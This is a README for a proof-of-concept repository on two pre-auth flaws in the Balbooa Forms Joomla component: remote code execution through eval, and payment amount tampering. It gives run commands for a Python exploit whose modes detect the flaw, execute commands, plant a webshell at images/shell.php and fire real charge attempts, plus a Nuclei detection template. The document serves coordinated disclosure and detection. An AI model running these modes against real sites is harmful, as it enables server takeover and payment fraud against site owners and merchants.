lulztigre/cve-2026-67363-67364PoC and detection templates for pre-auth RCE and payment tampering in Balbooa Forms (Joomla), including Python exploit and Nuclei detection template.
PoC and detection templates for two pre-auth vulnerabilities in Balbooa Forms (com_baforms) for Joomla, fixed in 2.4.3.2.
Discovered by Lulztigre, coordinated disclosure via the Joomla Security Strike Team (JSST), published 2026-08-19. Full write-up: https://lulztigre.pw/posts/balbooa-forms-penny-rce-67363-67364.html
| File | Purpose |
|---|
balbooa_forms_poc.py | Python PoC, stdlib-only, covers both CVEs |
CVE-2026-67364.yaml | Nuclei template, non-destructive detection of the eval RCE |
Zero dependencies (Python 3.8+). The rce and detect modes write no files and fire no
real charges; shell and pay are opt-in and intended for lab use.
# 1. Find a vulnerable (form-id, submit-btn) pair. Non-destructive: each probe is one
# anonymous submission with an echo-marker payload.
python3 balbooa_forms_poc.py http://target detect --form-max 3 --btn-max 10
# 2. Prove command execution. Output returns in the HTTP response, no persistence.
python3 balbooa_forms_poc.py http://target rce --form 1 --btn 7 --cmd id
# 3. Classic webshell proof (lab only - writes images/shell.php)
python3 balbooa_forms_poc.py http://target shell --form 1 --btn 7
# 4. Payment amount tampering (lab only - fires REAL charge attempts; needs --authorize)
python3 balbooa_forms_poc.py http://target pay --authorize --total 0.01
Exit code 0 = vulnerable/exploited, 1 = clean or failed, 2 = usage error.
Notes:
[URL parameter = X], and no reCAPTCHA on the button.--insecure skips TLS verification for HTTPS targets with self-signed certs.Detection only: extracts the anonymous CSRF token, then sweeps small form/btn ranges with an echo-marker payload and matches the marker in the response. No files written, no real charges fired.
nuclei -t CVE-2026-67364.yaml -u http://target -v
Verified against nuclei v3.11.1 (Windows + Linux): token extraction, 30-pair sweep
(form-id 1..3 x submit-btn 1..10, clusterbomb), 1 critical match on the vulnerable pair.
Add -duc on offline boxes to skip the update check. The sweep is deliberately small;
raise the payload ranges if a target hosts more forms. Payment tampering (CVE-2026-67363)
is intentionally NOT automated in nuclei: each probe is a real charge attempt against the
merchant's gateway.
Use only against systems you are authorized to test.